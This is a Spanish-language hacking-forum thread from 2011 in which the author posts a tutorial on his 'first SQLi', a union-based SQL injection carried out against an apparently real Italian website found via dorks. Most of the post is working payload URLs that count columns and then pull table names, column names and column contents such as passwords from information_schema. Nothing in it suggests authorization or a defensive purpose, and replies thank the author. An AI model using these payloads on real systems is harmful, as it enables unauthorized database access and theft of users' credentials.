elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 18:39  


Tema destacado: Personaliza-Escoge el diseño del foro que más te guste.

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  mi primer SQLi, tutorial de una experiencia.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: mi primer SQLi, tutorial de una experiencia.  (Leído 1,655 veces)
ruben_linux

Desconectado Desconectado

Mensajes: 118



Ver Perfil WWW
mi primer SQLi, tutorial de una experiencia.
« en: 23 Agosto 2011, 01:00 »

Buenas a todos. Este es mi primer pos en este foro despues de la presentacion. Como anillo al dedo me viene, pues este tuto me lo he currado en un dia, mientras hacia SQLi, para no perder detalle.

Empezamos.

1. buscar una web vulnerable, a esta parte no le dedico tiempo, todos conocemos los DORKs, packetstorm, vbulletin.....


2. Como se que esta web es vulnerable??? Facil, la mayoria de las web te devolveran, cuando les modiques la peticion a algo como esto:

Citar
Warning: mysql_query() [function.mysql-query]: Access denied for user '*******'@'localhost' (using password: NO) in /home/justonli/public_html/demo_online_store/themes/2/func_util.php on line 3

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/********/public_html/demo_online_store/themes/2/func_util.php on line 3

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/*********/public_html/demo_online_store/themes/2/func_util.php on line 4

Warning: mysql_query() [function.mysql-query]: Access denied for user '***********'@'localhost' (using password: NO) in /home/*********/public_html/demo_online_store/themes/2/index.php on line 39

Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/********/public_html/demo_online_store/themes/2/index.php on line 39

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/*********/public_html/demo_online_store/themes/2/index.php on line 40

En mi caso usé otro DORK. Que como se modifica una peticion?? Pues en la barra de direccion, donde esta la URL, algunas webs ponen algo como:

Código:
index.php?id=1
search.php?ID=25

Si nosotros cambiamos en la barra de direccion el 1 o el 25 por algo como -1, ', '2, etc, la web que no esta preparada para recibir estos datos nos devuelve un error como los de arriva. En mi caso le añadi "+and+1=0" (sin comillas).

Ya sabemos cuando es vulnerable.

3. Como aprobecho esa Vulnerabilidad??? pues hay varias formas, yo explicaare la que use.
Tenemos que encontrar el numero de "Union Columns" que con mi poco ingles supongo que sera "uninon de columnas" :-) esto es el numero de comunlas del la tabla que tiene la base de datos, para entender esto: en la base de datos <deportes> tenemos la tabla <acuaticos> y dentro de esta columna <surf>, que contiene srfing, bodyboard, sky_surfing,... pues en las web que almacenan bd sulen tener algo como <db_usuarios> y dentro la tabal <user> y una columna con el nombre <pass>. Dentro de una bd tendremos muchas tablas y dentro de estas cada una tendrá varias columnas.

En mi caso son 25, para averiguar esto:

Código:
http://victima.es/main.php?id=-1
http://victima.es/main.php?id=-1+union+select+1,2--
http://victima.es/main.php?id=-1+union+select+1,2,3--
http://victima.es/main.php?id=-1+union+select+1,2,3,4--
http://victima.es/main.php?id=-1+union+select+1,2,3,4,5......etc

Vamos añadiendo numeros hasta que nos de el resultado de la img.


By rubenlinux at 2011-08-22

Código:
http://****.it/web1/**********&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,2%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

y nos muestra unos numeros en la pantalla, en lugar de la web.

En mi caso muestra un "2".

Esta es la posicion donde tenemos que meter las peticiones SQL. Tendremos que sustituir el numero, por la peticion.

Ahora queremos saber el nombre de las tablas. Para esto añadimos en la posicion del numero "2" esto "group_concat%28table_name%29%" y al final de la url "from+information_schema.tables" esto traducido seria algo como: dame el nombre de todas la tablas que tienes en information.schema


By rubenlinux at 2011-08-22

Código:
http://******.it/web1/master.php**********&macrocategoria=1004&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,group_concat%28table_name%29%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.tables

Ya tenenos las tablas, en mi caso estan en Italiano, nos interesa conocer el numero de columnas dentro de la tabla por la cual tenemos curiosidad, para esto cambiamos lo que escribimos antes en el lugar del "2" por "group_concat%28column_name%29%" esta vez preguntamos por las columnas de una tabla, tambien cambiamos el final por "+from+information_schema.columns+where+table_name=%20char%2895,117,116,101,110,116,105%29".

Donde el número "95,117,116,101,110,116,105" es el nombre de la tabla,pero con los caracteres ascii. En internet teneis un monton cuadros y programillas para pasarlo.


By rubenlinux at 2011-08-22

Ya casi terminamos, lo que ahora queremos es saber que tenemos en cada columna, la pregunta seria algo como: que hay dentro de la columna pass dentro de la tabla usuarios dentro de la bd_principal? mas o menos. En este caso tenemos que hacer una nueva peticion con: "concat_ws%28char%2858%29,NOMBRE_DE_LA_COLUMNA%29" en el lugar del numero "2" y al final "+from+NOMBRE_DE_LA_TABLA"

Código:
http://*****.it/web1/***********&macrocategoria=1004&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,concat_ws%28char%2858%29,NOMBRE_DE_LA_COLUMNA%29%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+NOMBRE_DE_LA_TABLA
En línea

.:UND3R:.


Desconectado Desconectado

Mensajes: 1.960


Ingeniería inversa


Ver Perfil WWW
Re: mi primer SQLi, tutorial de una experiencia.
« Respuesta #1 en: 29 Agosto 2011, 22:52 »

Buen tutorial :D
En línea

Cleantesdeasso

Desconectado Desconectado

Mensajes: 162



Ver Perfil
Re: mi primer SQLi, tutorial de una experiencia.
« Respuesta #2 en: 29 Agosto 2011, 23:45 »

Buena!! no sabia q podias usar un AND antes de UNION... pero tampoco se q son los muones con exactitud entre tantas otras cosas... Gracias por compartir! :)
En línea

"Que no!! q el hash hay q crakiarlo!!"
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
::Tutorial:: Nuestro primer troyano en delphi « 1 2 »
Análisis y Diseño de Malware
skapunky 21 3,426 Último mensaje 8 Septiembre 2006, 16:37
por RED_HORSE
[Video Tutorial] Que opinan de mi primer videotutorial?
Diseño Gráfico
coolfrog 6 1,409 Último mensaje 27 Septiembre 2007, 16:14
por Azielito
Tutorial Photoshop Cs4 Medio- Avanzado( muahahah mi primer tuto )
Diseño Gráfico
tomeu00 12 5,132 Último mensaje 21 Marzo 2009, 22:38
por tomeu00
Mi primer troyano [Tutorial echo por mi],[Espero que les guste :D]
Programación Visual Basic
NightMore 10 2,647 Último mensaje 19 Noviembre 2010, 23:50
por mDrinky
GiE 4.8 - SQLi
Nivel Web
Pony-Magic 4 3,149 Último mensaje 17 Diciembre 2010, 14:37
por xassiz~
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines